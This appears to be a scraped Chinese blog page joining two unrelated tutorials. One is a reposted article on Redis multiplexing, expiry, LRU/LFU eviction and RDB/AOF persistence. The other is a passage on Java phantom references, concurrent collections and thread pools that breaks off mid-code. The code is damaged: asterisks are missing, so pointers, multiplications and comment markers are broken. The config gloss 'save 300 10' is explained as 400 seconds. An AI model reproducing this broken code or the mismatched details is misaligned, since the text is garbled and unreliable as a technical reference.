多路复用(I/O Multiplexing) I/O 指的是网络 I/O。 多路指的是多个 TCP 连接(Socket 或 Channel)。 复用指的是复用一个或多个线程。它的基本原理就是不再由应用程序自己监视连接，而是由内核替应用程序监视文件描述符。 客户端在操作的时候，会产生具有不同事件类型的 socket。在服务端，I/O 多路复用程序(I/O Multiplexing Module)会把消息放入队列中，然后通过文件事件分派器(File event Dispatcher)，转发到不同的事件处理器中。 多路复用有很多的实现，以 select 为例，当用户进程调用了多路复用器，进程会被阻塞。内核会监视多路复用器负责的所有 socket，当任何一个 socket 的数据准备好了，多路复用器就会返回。这时候用户进程再调用 read 操作，把数据从内核缓冲区拷贝到用户空间。 所以，I/O 多路复用的特点是通过一种机制一个进程能同时等待多个文件描述符，而这些文件描述符(套接字描述符)其中的任意一个进入读就绪(readable)状态，select() 函数就可以返回。 Redis 的多路复用， 提供了 select, epoll, evport, kqueue 几种选择，在编译的时 候来选择一种。 evport 是 Solaris 系统内核提供支持的; epoll 是 LINUX 系统内核提供支持的; kqueue 是 Mac 系统提供支持的; select 是 POSIX 提供的，一般的操作系统都有支撑(保底方案); 源码 ae_epoll.c、ae_select.c、ae_kqueue.c、ae_evport.c 5、内存回收 Reids 所有的数据都是存储在内存中的，在某些情况下需要对占用的内存空间进行回 收。内存回收主要分为两类，一类是 key 过期，一类是内存使用达到上限(max_memory) 触发内存淘汰。 5.1 过期策略 要实现 key 过期，我们有几种思路。 5.1.1 定时过期(主动淘汰) 每个设置过期时间的 key 都需要创建一个定时器，到过期时间就会立即清除。该策略可以立即清除过期的数据，对内存很友好;但是会占用大量的 CPU 资源去处理过期的 数据，从而影响缓存的响应时间和吞吐量。 5.1.2 惰性过期(被动淘汰) 只有当访问一个 key 时，才会判断该 key 是否已过期，过期则清除。该策略可以最大化地节省 CPU 资源，却对内存非常不友好。极端情况可能出现大量的过期 key 没有再次被访问，从而不会被清除，占用大量内存。 例如 String，在 getCommand 里面会调用 expireIfNeeded server.c expireIfNeeded(redisDb db, robj key) 第二种情况，每次写入 key 时，发现内存不够，调用 activeExpireCycle 释放一部分内存。 expire.c activeExpireCycle(int type) 5.1.3 定期过期 源码:server.h typedef struct redisDb { dict dict; / 所有的键值对 /dict expires; / 设置了过期时间的键值对 /dict blocking_keys; dict ready_keys; dict watched_keys; int id;long long avg_ttl;list defrag_later; } redisDb; 每隔一定的时间，会扫描一定数量的数据库的 expires 字典中一定数量的 key，并清除其中已过期的 key。该策略是前两者的一个折中方案。通过调整定时扫描的时间间隔和每次扫描的限定耗时，可以在不同情况下使得 CPU 和内存资源达到最优的平衡效果。 Redis 中同时使用了惰性过期和定期过期两种过期策略。 5.2 淘汰策略 Redis 的内存淘汰策略，是指当内存使用达到最大内存极限时，需要使用淘汰算法来决定清理掉哪些数据，以保证新数据的存入。 5.2.1 最大内存设置 redis.conf 参数配置: maxmemory <bytes> 如果不设置 maxmemory 或者设置为 0，64 位系统不限制内存，32 位系统最多使用 3GB 内存。 动态修改: redis> config set maxmemory 2GB 到达最大内存以后怎么办? 5.2.2 淘汰策略 https://redis.io/topics/lru-cache redis.conf maxmemory-policy noeviction 先从算法来看: LRU，Least Recently Used:最近最少使用。判断最近被使用的时间，目前最远的数据优先被淘汰。 LFU，Least Frequently Used，最不常用，4.0 版本新增。 random，随机删除。 如果没有符合前提条件的 key 被淘汰，那么 volatile-lru、volatile-random、 volatile-ttl 相当于 noeviction(不做内存回收)。 动态修改淘汰策略: redis> config set maxmemory-policy volatile-lru 建议使用 volatile-lru，在保证正常服务的情况下，优先删除最近最少使用的 key。 5.2.3 LRU 淘汰原理 问题：如果基于传统 LRU 算法实现 Redis LRU 会有什么问题? 需要额外的数据结构存储，消耗内存。 Redis LRU 对传统的 LRU 算法进行了改良，通过随机采样来调整算法的精度。如果淘汰策略是 LRU，则根据配置的采样值 maxmemory_samples(默认是 5 个), 随机从数据库中选择 m 个 key, 淘汰其中热度最低的 key 对应的缓存数据。所以采样参数m配置的数值越大, 就越能精确的查找到待淘汰的缓存数据,但是也消耗更多的CPU计算,执行效率降低。 问题：如何找出热度最低的数据? Redis 中所有对象结构都有一个 lru 字段, 且使用了 unsigned 的低 24 位，这个字段用来记录对象的热度。对象被创建时会记录 lru 值。在被访问的时候也会更新 lru 的值。 但是不是获取系统当前的时间戳，而是设置为全局变量 server.lruclock 的值。 源码：server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; server.lruclock 的值怎么来的? Redis 中有个定时处理的函数 serverCron，默认每 100 毫秒调用函数 updateCachedTime 更新一次全局变量的 server.lruclock 的值，它记录的是当前 unix 时间戳。 源码:server.c void updateCachedTime(void) { time_t unixtime = time(NULL); atomicSet(server.unixtime,unixtime); server.mstime = mstime();​struct tm tm; localtime_r(&server.unixtime,&tm);server.daylight_active = tm.tm_isdst; } 问题:为什么不获取精确的时间而是放在全局变量中?不会有延迟的问题吗? 这样函数 lookupKey 中更新数据的 lru 热度值时,就不用每次调用系统函数 time，可以提高执行效率。 OK，当对象里面已经有了 LRU 字段的值，就可以评估对象的热度了。 函数 estimateObjectIdleTime 评估指定对象的 lru 热度，思想就是对象的 lru 值和全局的 server.lruclock 的差值越大(越久没有得到更新)，该对象热度越低。 源码 evict.c / Given an object returns the min number of milliseconds the object was never requested, using an approximated LRU algorithm. /unsigned long long estimateObjectIdleTime(robj o) {unsigned long long lruclock = LRU_CLOCK(); if (lruclock >= o->lru) {return (lruclock - o->lru) LRU_CLOCK_RESOLUTION; } else {return (lruclock + (LRU_CLOCK_MAX - o->lru)) LRU_CLOCK_RESOLUTION;} } server.lruclock 只有 24 位，按秒为单位来表示才能存储 194 天。当超过 24bit 能表 示的最大时间的时候，它会从头开始计算。 server.h define LRU_CLOCK_MAX ((1<<LRU_BITS)-1) / Max value of obj->lru / 在这种情况下，可能会出现对象的 lru 大于 server.lruclock 的情况，如果这种情况 出现那么就两个相加而不是相减来求最久的 key。 为什么不用常规的哈希表+双向链表的方式实现?需要额外的数据结构，消耗资源。而 Redis LRU 算法在 sample 为 10 的情况下，已经能接近传统 LRU 算法了。 问题:除了消耗资源之外，传统 LRU 还有什么问题? 如图，假设 A 在 10 秒内被访问了 5 次，而 B 在 10 秒内被访问了 3 次。因为 B 最后一次被访问的时间比 A 要晚，在同等的情况下，A 反而先被回收。 问题:要实现基于访问频率的淘汰机制，怎么做? 5.2.4 LFU server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; 当这 24 bits 用作 LFU 时，其被分为两部分: 高 16 位用来记录访问时间(单位为分钟，ldt，last decrement time) 低 8 位用来记录访问频率，简称 counter(logc，logistic counter) counter 是用基于概率的对数计数器实现的，8 位可以表示百万次的访问频率。 对象被读写的时候，lfu 的值会被更新。 db.c——lookupKey void updateLFU(robj val) {unsigned long counter = LFUDecrAndReturn(val); counter = LFULogIncr(counter);val->lru = (LFUGetTimeInMinutes()<<8) | counter;} 增长的速率由，lfu-log-factor 越大，counter 增长的越慢 redis.conf 配置文件。 lfu-log-factor 10 如果计数器只会递增不会递减，也不能体现对象的热度。没有被访问的时候，计数器怎么递减呢? 减少的值由衰减因子 lfu-decay-time(分钟)来控制，如果值是 1 的话，N 分钟没有访问就要减少 N。 redis.conf 配置文件 lfu-decay-time 1 6、持久化机制 https://redis.io/topics/persistence Redis 速度快，很大一部分原因是因为它所有的数据都存储在内存中。如果断电或者宕机，都会导致内存中的数据丢失。为了实现重启后数据不丢失，Redis 提供了两种持久化的方案，一种是 RDB 快照(Redis DataBase)，一种是 AOF(Append Only File)。 6.1 RDB RDB 是 Redis 默认的持久化方案。当满足一定条件的时候，会把当前内存中的数据写入磁盘，生成一个快照文件 dump.rdb。Redis 重启会通过加载 dump.rdb 文件恢复数据。 什么时候写入 rdb 文件? 6.1.1 RDB 触发 1、自动触发 a)配置规则触发。 redis.conf， SNAPSHOTTING，其中定义了触发把数据保存到磁盘的触发频率。 如果不需要 RDB 方案，注释 save 或者配置成空字符串""。 save 900 1 900 秒内至少有一个 key 被修改(包括添加) save 300 10 400 秒内至少有 10 个 key 被修改save 60 10000 60 秒内至少有 10000 个 key 被修改 注意上面的配置是不冲突的，只要满足任意一个都会触发。 RDB 文件位置和目录: 文件路径，dir ./ 文件名称dbfilename dump.rdb 是否是LZF压缩rdb文件 rdbcompression yes 开启数据校验 rdbchecksum yes 问题：为什么停止 Redis 服务的时候没有 save，重启数据还在? RDB 还有两种触发方式: b)shutdown 触发，保证服务器正常关闭。 c)flushall，RDB 文件是空的，没什么意义(删掉 dump.rdb 演示一下)。 2、手动触发 如果我们需要重启服务或者迁移数据，这个时候就需要手动触 RDB 快照保存。Redis 提供了两条命令: a)save save 在生成快照的时候会阻塞当前 Redis 服务器， Redis 不能处理其他命令。如果内存中的数据比较多，会造成 Redis 长时间的阻塞。生产环境不建议使用这个命令。 为了解决这个问题，Redis 提供了第二种方式。 执行 bgsave 时，Redis 会在后台异步进行快照操作，快照同时还可以响应客户端请求。 具体操作是 Redis 进程执行 fork 操作创建子进程(copy-on-write)，RDB 持久化过程由子进程负责，完成后自动结束。它不会记录 fork 之后后续的命令。阻塞只发生在 fork 阶段，一般时间很短。 用 lastsave 命令可以查看最近一次成功生成快照的时间。 6.1.2 RDB 数据的恢复(演示) 1、shutdown 持久化添加键值 添加键值 redis> set k1 1 redis> set k2 2 redis> set k3 3 redis> set k4 4 redis> set k5 5 停服务器，触发 save redis> shutdown 备份 dump.rdb 文件 cp dump.rdb dump.rdb.bak 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 啥都没有: redis> keys 3、通过备份文件恢复数据停服务器 redis> shutdown 重命名备份文件 mv dump.rdb.bak dump.rdb 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 查看数据 redis> keys 6.1.3 RDB 文件的优势和劣势 一、优势 1.RDB 是一个非常紧凑(compact)的文件，它保存了 redis 在某个时间点上的数据集。这种文件非常适合用于进行备份和灾难恢复。 2.生成 RDB 文件的时候，redis 主进程会 fork()一个子进程来处理所有保存工作，主进程不需要进行任何磁盘 IO 操作。 3.RDB 在恢复大数据集时的速度比 AOF 的恢复速度要快。 二、劣势 1、RDB 方式数据没办法做到实时持久化/秒级持久化。因为 bgsave 每次运行都要执行 fork 操作创建子进程，频繁执行成本过高。 2、在一定间隔时间做一次备份，所以如果 redis 意外 down 掉的话，就会丢失最后一次快照之后的所有修改(数据有丢失)。 如果数据相对来说比较重要，希望将损失降到最小，则可以使用 AOF 方式进行持久化。 6.2 AOF Append Only File AOF:Redis 默认不开启。AOF 采用日志的形式来记录每个写操作，并追加到文件中。开启后，执行更改 Redis 数据的命令时，就会把命令写入到 AOF 文件中。 Redis 重启时会根据日志文件的内容把写指令从前到后执行一次以完成数据的恢复工作。 6.2.1 AOF 配置 配置文件 redis.conf 开关appendonly no 文件名appendfilename "appendonly.aof" AOF 文件的内容(vim 查看): 问题：数据都是实时持久化到磁盘吗? 由于操作系统的缓存机制，AOF 数据并没有真正地写入硬盘，而是进入了系统的硬盘缓存。什么时候把缓冲区的内容写入到 AOF 文件? 问题:文件越来越大，怎么办? 由于 AOF 持久化是 Redis 不断将写命令记录到 AOF 文件中，随着 Redis 不断的进行，AOF 的文件会越来越大，文件越大，占用服务器内存越大以及 AOF 恢复要求时间越长。 例如 set xxx 666，执行 1000 次，结果都是 xxx=666。 为了解决这个问题，Redis 新增了重写机制，当 AOF 文件的大小超过所设定的阈值时，Redis 就会启动 AOF 文件的内容压缩，只保留可以恢复数据的最小指令集。 可以使用命令 bgrewriteaof 来重写。 AOF 文件重写并不是对原文件进行重新整理，而是直接读取服务器现有的键值对，然后用一条命令去代替之前记录这个键值对的多条命令，生成一个新的文件后去替换原来的 AOF 文件。 重写触发机制 auto-aof-rewrite-percentage 100 auto-aof-rewrite-min-size 64mb 问题:重写过程中，AOF 文件被更改了怎么办? 另外有两个与 AOF 相关的参数: 6.2.2 AOF 数据恢复 重启 Redis 之后就会进行 AOF 文件的恢复。 6.2.3 AOF 优势与劣势 优点: 1、AOF 持久化的方法提供了多种的同步频率，即使使用默认的同步频率每秒同步一次，Redis 最多也就丢失 1 秒的数据而已。 缺点: 1、对于具有相同数据的的 Redis，AOF 文件通常会比 RDB 文件体积更大(RDB 存的是数据快照)。 2、虽然 AOF 提供了多种同步的频率，默认情况下，每秒同步一次的频率也具有较高的性能。在高并发的情况下，RDB 比 AOF 具好更好的性能保证。 6.3 两种方案比较 那么对于 AOF 和 RDB 两种持久化方式，我们应该如何选择呢? 如果可以忍受一小段时间内数据的丢失，毫无疑问使用 RDB 是最好的，定时生成 RDB 快照(snapshot)非常便于进行数据库备份， 并且 RDB 恢复数据集的速度也要比 AOF 恢复的速度要快。 否则就使用 AOF 重写。但是一般情况下建议不要单独使用某一种持久化机制，而是应该两种一起用，在这种情况下,当 redis 重启的时候会优先载入 AOF 文件来恢复原始的数据，因为在通常情况下 AOF 文件保存的数据集要比 RDB 文件保存的数据集要完整。 本篇文章为转载内容。原文链接：https://blog.csdn.net/zhoutaochun/article/details/120075092。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...放在队列中，此时我们监听到队列中有新值了，就知道有虚引用被回收了 此时我们要做相应的处理，虚引用指向的值，是无法直接get()获取的 虚引用使用场景 一般情况（其它情况暂时没什么用），虚引用指向堆外内存(直接被操作系统管理的内存)，JVM无法对其回收 当虚引用对象被回收时，JVM的垃圾回收无法自动回收堆外内存， 但是此时，虚引用对象被回收，会将其放在队列中 操作人员，看到队列中有对象被回收，就进行相应操作，回收堆内存 如何回收堆外内存 C和C++有函数可以用 java现在也提供了Unsafe类可以操作堆外内存，具体请参考上一篇博客，总之，JDK1.8只能通过反射来用，JDK1.9以上可以通过new Unsafe对象来用 Unsafe类的方法有： copyMemory():直接访问内存 allocateMemory():直接分配内存，这就必须手动回收内存了 freeMemory():回收内存 下面是一个虚引用例子，自己看吧，懂得自然懂，现在看不懂的，先收藏或者保存上，以后回来看 / 一个对象是否有虚引用的存在，完全不会对其生存时间构成影响， 也无法通过虚引用来获取一个对象的实例。 为一个对象设置虚引用关联的唯一目的就是能在这个对象被收集器回收时收到一个系统通知。 虚引用和弱引用对关联对象的回收都不会产生影响，如果只有虚引用活着弱引用关联着对象， 那么这个对象就会被回收。它们的不同之处在于弱引用的get方法，虚引用的get方法始终返回null, 弱引用可以使用ReferenceQueue,虚引用必须配合ReferenceQueue使用。 jdk中直接内存的回收就用到虚引用，由于jvm自动内存管理的范围是堆内存， 而直接内存是在堆内存之外（其实是内存映射文件，自行去理解虚拟内存空间的相关概念）， 所以直接内存的分配和回收都是有Unsafe类去操作，java在申请一块直接内存之后， 会在堆内存分配一个对象保存这个堆外内存的引用， 这个对象被垃圾收集器管理，一旦这个对象被回收， 相应的用户线程会收到通知并对直接内存进行清理工作。 事实上，虚引用有一个很重要的用途就是用来做堆外内存的释放， DirectByteBuffer就是通过虚引用来实现堆外内存的释放的。/import java.lang.ref.PhantomReference;import java.lang.ref.Reference;import java.lang.ref.ReferenceQueue;import java.util.LinkedList;import java.util.List;public class T04_PhantomReference {private static final List<Object> LIST = new LinkedList<>();private static final ReferenceQueue<M> QUEUE = new ReferenceQueue<>();public static void main(String[] args) {PhantomReference<M> phantomReference = new PhantomReference<>(new M(), QUEUE);new Thread(() -> {while (true) {LIST.add(new byte[1024 1024]);try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();Thread.currentThread().interrupt();}System.out.println(phantomReference.get());} }).start();new Thread(() -> {while (true) {Reference<? extends M> poll = QUEUE.poll();if (poll != null) {System.out.println("--- 虚引用对象被jvm回收了 ---- " + poll);} }}).start();try {Thread.sleep(500);} catch (InterruptedException e) {e.printStackTrace();} }} 2、容器 1、发展历史(一定要了解) map容器你需要了解的历史 JDK早期，java提供了Vector和Hashtable两个容器，这两个容器，很多操作都加了锁Synchronized，对于某些不需要用锁的情况下，就显得十分影响性能，所以现在基本没人用这两个容器，但是面试经常问这两个容器里面的数据结构等内容 后来，出现了HashMap，此容器完全不加锁，是用的最多的容器 但是完全不加锁未免不完善，所以java提供了如下方式，将HashMap变为加锁的 //通过Collections.synchronizedMap(HashMap)方法，将其变为加锁Map集合，其中泛型随意，UUID只是举例。static Map<UUID, UUID> m = Collections.synchronizedMap(new HashMap<UUID, UUID>()); 通过阅读源码发现，上面方法将HashMap变为加锁，也是使用Synchronized，只是锁的内容更细，但并不比HashTable效率高多少 所以衍生除了新的容器ConcurrentHashMap ConcurrentHashMap 此容器，插入效率不如上面的，因为它做了各种判断和CAS，但是差距不是特别大 读取效率很高，100个线程同时访问，每个线程读取一百万次实测 Hashtable 39s ，SynchronizedHashMap 38s ，ConcurrentHashMap 1.7s 前两个将近40秒，ConcurrentHashMap只需要不到2s，由此可见此容器读取效率极高 2、为什么推荐使用Queue来做高并发 为什么推荐Queue（队列） Queue接口提供了很多针对多线程非常友好的API（offer ，peek和poll，其中BlockingQueue还添加了put和take可以阻塞），可以说专门为多线程高并发而创造的接口，所以一般我们使用Queue而不用List 以下代码分别使用链表LinkList和ConcurrentQueue，对比一下速度 LinkList用了5s多，ConcurrentQueue几乎瞬间完成 Concurrent接口就是专为多线程设计，多线程设计要多考虑Queue(高并发用)的使用，少使用List / 有N张火车票，每张票都有一个编号 同时有10个窗口对外售票 请写一个模拟程序 分析下面的程序可能会产生哪些问题？ 重复销售？超量销售？ 使用Vector或者Collections.synchronizedXXX 分析一下，这样能解决问题吗？ 就算操作A和B都是同步的，但A和B组成的复合操作也未必是同步的，仍然需要自己进行同步 就像这个程序，判断size和进行remove必须是一整个的原子操作 @author 马士兵/import java.util.LinkedList;import java.util.List;import java.util.concurrent.TimeUnit;public class TicketSeller3 {static List<String> tickets = new LinkedList<>();static {for(int i=0; i<1000; i++) tickets.add("票 编号：" + i);}public static void main(String[] args) {for(int i=0; i<10; i++) {new Thread(()->{while(true) {synchronized(tickets) {if(tickets.size() <= 0) break;try {TimeUnit.MILLISECONDS.sleep(10);} catch (InterruptedException e) {e.printStackTrace();}System.out.println("销售了--" + tickets.remove(0));} }}).start();} }} 队列 import java.util.Queue;import java.util.concurrent.ConcurrentLinkedQueue;public class TicketSeller4 {static Queue<String> tickets = new ConcurrentLinkedQueue<>();static {for(int i=0; i<1000; i++) tickets.add("票 编号：" + i);}public static void main(String[] args) {for(int i=0; i<10; i++) {new Thread(()->{while(true) {String s = tickets.poll();if(s == null) break;else System.out.println("销售了--" + s);} }).start();} }} 3、多线程常用容器 1、ConcurrentHashMap(无序)和ConcurrentSkipListMap(有序，链表，使用跳表数据结构，让查询更快) 跳表：http://blog.csdn.net/sunxianghuang/article/details/52221913 import java.util.;import java.util.concurrent.ConcurrentHashMap;import java.util.concurrent.ConcurrentSkipListMap;import java.util.concurrent.CountDownLatch;public class T01_ConcurrentMap {public static void main(String[] args) {Map<String, String> map = new ConcurrentHashMap<>();//Map<String, String> map = new ConcurrentSkipListMap<>(); //高并发并且排序//Map<String, String> map = new Hashtable<>();//Map<String, String> map = new HashMap<>(); //Collections.synchronizedXXX//TreeMapRandom r = new Random();Thread[] ths = new Thread[100];CountDownLatch latch = new CountDownLatch(ths.length);long start = System.currentTimeMillis();for(int i=0; i<ths.length; i++) {ths[i] = new Thread(()->{for(int j=0; j<10000; j++) map.put("a" + r.nextInt(100000), "a" + r.nextInt(100000));latch.countDown();});}Arrays.asList(ths).forEach(t->t.start());try {latch.await();} catch (InterruptedException e) {e.printStackTrace();}long end = System.currentTimeMillis();System.out.println(end - start);System.out.println(map.size());} } 2、CopyOnWriteList（写时复制）和CopyOnWriteSet 适用于，高并发是，读的多，写的少的情况 当我们写的时候，将容器复制，让写线程去复制的线程写（写的时候加锁） 而读线程依旧去读旧的(读的时候不加锁) 当写完，将对象指向复制后的已经写完的容器，原来容器销毁 大大提高读的效率 / 写时复制容器 copy on write 多线程环境下，写时效率低，读时效率高 适合写少读多的环境 @author 马士兵/import java.util.ArrayList;import java.util.Arrays;import java.util.List;import java.util.Random;import java.util.Vector;import java.util.concurrent.CopyOnWriteArrayList;public class T02_CopyOnWriteList {public static void main(String[] args) {List<String> lists = //new ArrayList<>(); //这个会出并发问题！//new Vector();new CopyOnWriteArrayList<>();Random r = new Random();Thread[] ths = new Thread[100];for(int i=0; i<ths.length; i++) {Runnable task = new Runnable() {@Overridepublic void run() {for(int i=0; i<1000; i++) lists.add("a" + r.nextInt(10000));} };ths[i] = new Thread(task);}runAndComputeTime(ths);System.out.println(lists.size());}static void runAndComputeTime(Thread[] ths) {long s1 = System.currentTimeMillis();Arrays.asList(ths).forEach(t->t.start());Arrays.asList(ths).forEach(t->{try {t.join();} catch (InterruptedException e) {e.printStackTrace();} });long s2 = System.currentTimeMillis();System.out.println(s2 - s1);} } 3、synchronizedList和ConcurrentLinkedQueue package com.mashibing.juc.c_025;import java.util.ArrayList;import java.util.Collections;import java.util.List;import java.util.Queue;import java.util.concurrent.ConcurrentLinkedQueue;public class T04_ConcurrentQueue {public static void main(String[] args) {List<String> strsList = new ArrayList<>();List<String> strsSync = Collections.synchronizedList(strsList);//加锁ListQueue<String> strs = new ConcurrentLinkedQueue<>();//Concurrent链表队列，就是读快for(int i=0; i<10; i++) {strs.offer("a" + i); //add添加，但是不同点是，此方法会返回一个布尔值}System.out.println(strs);System.out.println(strs.size());System.out.println(strs.poll());//取出，取完后将元素去除System.out.println(strs.size());System.out.println(strs.peek());//取出，但是不会将元素从队列删除System.out.println(strs.size());//双端队列Deque} } 4、LinkedBlockingQueue 链表阻塞队列（无界链表，可以一直装东西，直到内存满（其实，也不是无限，其长度Integer.MaxValue就是上限，毕竟最大就这么大）） 主要体现在put和take方法，put添加的时候，如果队列满了，就阻塞当前线程，直到队列有空位，继续插入。take方法取的时候，如果没有值，就阻塞，等有值了，立马去取 import java.util.Random;import java.util.concurrent.BlockingQueue;import java.util.concurrent.LinkedBlockingQueue;import java.util.concurrent.TimeUnit;public class T05_LinkedBlockingQueue {static BlockingQueue<String> strs = new LinkedBlockingQueue<>();static Random r = new Random();public static void main(String[] args) {new Thread(() -> {for (int i = 0; i < 100; i++) {try {strs.put("a" + i); //如果满了，当前线程就会等待（实现阻塞），等多会有空位，将值插入TimeUnit.MILLISECONDS.sleep(r.nextInt(1000));} catch (InterruptedException e) {e.printStackTrace();} }}, "p1").start();for (int i = 0; i < 5; i++) {new Thread(() -> {for (;;) {try {System.out.println(Thread.currentThread().getName() + " take -" + strs.take()); //取内容，如果空了，当前线程就会等待（实现阻塞）} catch (InterruptedException e) {e.printStackTrace();} }}, "c" + i).start();} }} 5、ArrayBlockingQueue 有界阻塞队列（因为Array需要指定长度） import java.util.Random;import java.util.concurrent.ArrayBlockingQueue;import java.util.concurrent.BlockingQueue;import java.util.concurrent.TimeUnit;public class T06_ArrayBlockingQueue {static BlockingQueue<String> strs = new ArrayBlockingQueue<>(10);static Random r = new Random();public static void main(String[] args) throws InterruptedException {for (int i = 0; i < 10; i++) {strs.put("a" + i);}//strs.put("aaa"); //满了就会等待，程序阻塞//strs.add("aaa");//strs.offer("aaa");strs.offer("aaa", 1, TimeUnit.SECONDS);System.out.println(strs);} } 6、特殊的阻塞队列1：DelayQueue 延时队列（按时间进行调度，就是隔多长时间运行，谁隔的少，谁先） 以下例子中，我们添加线程到队列顺序为t12345，正常情况下，会按照顺序运行，但是这里有了延时时间，也就是时间越短，越先执行 步骤很简单，拿到延时队列 指定构造方法 继承 implements Delayed 重写 compareTo和getDelay import java.util.Calendar;import java.util.Random;import java.util.concurrent.BlockingQueue;import java.util.concurrent.DelayQueue;import java.util.concurrent.Delayed;import java.util.concurrent.TimeUnit;public class T07_DelayQueue {static BlockingQueue<MyTask> tasks = new DelayQueue<>();static Random r = new Random();static class MyTask implements Delayed {String name;long runningTime;MyTask(String name, long rt) {this.name = name;this.runningTime = rt;}@Overridepublic int compareTo(Delayed o) {if(this.getDelay(TimeUnit.MILLISECONDS) < o.getDelay(TimeUnit.MILLISECONDS))return -1;else if(this.getDelay(TimeUnit.MILLISECONDS) > o.getDelay(TimeUnit.MILLISECONDS)) return 1;else return 0;}@Overridepublic long getDelay(TimeUnit unit) {return unit.convert(runningTime - System.currentTimeMillis(), TimeUnit.MILLISECONDS);}@Overridepublic String toString() {return name + " " + runningTime;} }public static void main(String[] args) throws InterruptedException {long now = System.currentTimeMillis();MyTask t1 = new MyTask("t1", now + 1000);MyTask t2 = new MyTask("t2", now + 2000);MyTask t3 = new MyTask("t3", now + 1500);MyTask t4 = new MyTask("t4", now + 2500);MyTask t5 = new MyTask("t5", now + 500);tasks.put(t1);tasks.put(t2);tasks.put(t3);tasks.put(t4);tasks.put(t5);System.out.println(tasks);for(int i=0; i<5; i++) {System.out.println(tasks.take());//获取的是toString方法返回值} }} 7、特殊的阻塞队列2：PriorityQueque 优先队列（二叉树算法，就是排序） import java.util.PriorityQueue;public class T07_01_PriorityQueque {public static void main(String[] args) {PriorityQueue<String> q = new PriorityQueue<>();q.add("c");q.add("e");q.add("a");q.add("d");q.add("z");for (int i = 0; i < 5; i++) {System.out.println(q.poll());} }} 8、特殊的阻塞队列3：SynchronusQueue 同步队列(线程池用处非常大) 此队列容量为0，当插入元素时，必须同时有个线程往外取 就是说，当你往这个队列里面插入一个元素，它就拿着这个元素站着(阻塞)，直到有个取元素的线程来，它就把元素交给它 就是用来同步数据的，也就是线程间交互数据用的一个特殊队列 package com.mashibing.juc.c_025;import java.util.concurrent.BlockingQueue;import java.util.concurrent.SynchronousQueue;public class T08_SynchronusQueue { //容量为0public static void main(String[] args) throws InterruptedException {BlockingQueue<String> strs = new SynchronousQueue<>();new Thread(()->{//这个线程就是消费者，来取值try {System.out.println(strs.take());//和同步队列要值} catch (InterruptedException e) {e.printStackTrace();} }).start();strs.put("aaa"); //阻塞等待消费者消费，就拿着aaa站着，等线程来取//strs.put("bbb");//strs.add("aaa");System.out.println(strs.size());} } 9、特殊的阻塞队列4：TransferQueue 传递队列 此队列加入了一个方法transfer()用来向队列添加元素 但是和put()方法不同的是，put添加完元素就走了 而这个方法，添加完自己就阻塞了，直到有人将这个元素取走，它才继续工作(省去我们手动阻塞) import java.util.concurrent.LinkedTransferQueue;public class T09_TransferQueue {public static void main(String[] args) throws InterruptedException {LinkedTransferQueue<String> strs = new LinkedTransferQueue<>();new Thread(() -> {try {System.out.println(strs.take());} catch (InterruptedException e) {e.printStackTrace();} }).start();strs.transfer("aaa");//放东西到队列，同时阻塞等待消费者线程，取走元素//strs.put("aaa");//如果用put就和普通队列一样，放完东西就走了/new Thread(() -> {try {System.out.println(strs.take());} catch (InterruptedException e) {e.printStackTrace();} }).start();/} } 3、线程池 线程池 由于单独创建线程，十分影响效率，而且无法对线程集中管理，一旦疏落，可能线程无限执行，浪费资源 线程池就是一个存储线程的游泳池，而每个线程就是池子里面的赛道 池子里的线程不执行任何任务，只是提供一个资源 而谁提交了任务，比如我想来游泳，那么池子就给你一个赛道，让你游泳 比如它想练憋气，那么给它一个赛道练憋气 当他们用完，走了，那么后面其它人再过来继续用 这就是线程池，始终只有这几个线程，不做实现，而是借用这几个线程的用户，自己掌控用这些线程资源做什么（提交任务给线程,线程空闲就帮他们完成任务） 线程池的两种类型（两类，不是两个） ThreadPoolExecutor（简称TPE） ForkJoinPool（分解汇总任务(将任务细化，最后汇总结果)，少量线程执行多个任务（子任务，TPE做不到先执行子任务），CPU密集型） Executors（注意这后面有s） 它可以说是线程池工厂类，我们一般通过它创建线程池，并且它为我们封装了线程 1、常用类 Executor ExecutorService 扩展了execute方法，具有一个返回值 规定了异步执行机制，提供了一些执行器方法，比如shutdown()关闭等 但是它不知道执行器中的线程何时执行完 Callable 对Runnable进行了扩展,实现Callable的调用，可以有返回值，表示线程的状态 但是无法返回线程执行结果 Future 获得未来线程执行结果 由此，我们可以得知线程池基本的一个使用步骤 其中service.submit（）:为异步提交，也就是说，主线程该干嘛干嘛，我是异步执行的，和同步不一样（当前线程执行完，主线程才能继续执行，叫同步） futuer.get():获取结果集结果，此时因为异步，主线程执行到这里，结果集可能还没封装好，所以此时如果没有值，就阻塞，直到结果集出来 public static void main(String[] args) throws ExecutionException, InterruptedException {Callable<String> c = new Callable() {@Overridepublic String call() throws Exception {return "Hello Callable";} };ExecutorService service = Executors.newCachedThreadPool();Future<String> future = service.submit(c); //异步System.out.println(future.get());//阻塞service.shutdown();} 2、FutureTask 可充当任务的结果集 上面我们介绍Future是用来得到任务的执行结果的 而FutureTask，可以当做一个任务用，并且返回任务的结果，也就是可以跑线程，然后还可以得到线程结果 public static void main(String[] args) throws InterruptedException, ExecutionException {FutureTask<Integer> task = new FutureTask<>(()->{TimeUnit.MILLISECONDS.sleep(500);return 1000;}); //new Callable () { Integer call();}new Thread(task).start();System.out.println(task.get()); //阻塞} 3、CompletableFuture 非常灵活的任务结果集 一个非常灵活的结果集 他可以将很多执行不同任务的线程的结果进行汇总 比如一个网站，它可以启动多个线程去各大电商网站，比如淘宝，京东，收集某些或某一个商品的价格 最后，将获取的数据进行整合封装 最终，客户就可以通过此网站，获取某类商品在各网站的价格信息 / 假设你能够提供一个服务 这个服务查询各大电商网站同一类产品的价格并汇总展示 @author 马士兵 http://mashibing.com/import java.io.IOException;import java.util.Random;import java.util.concurrent.CompletableFuture;import java.util.concurrent.ExecutionException;import java.util.concurrent.TimeUnit;public class 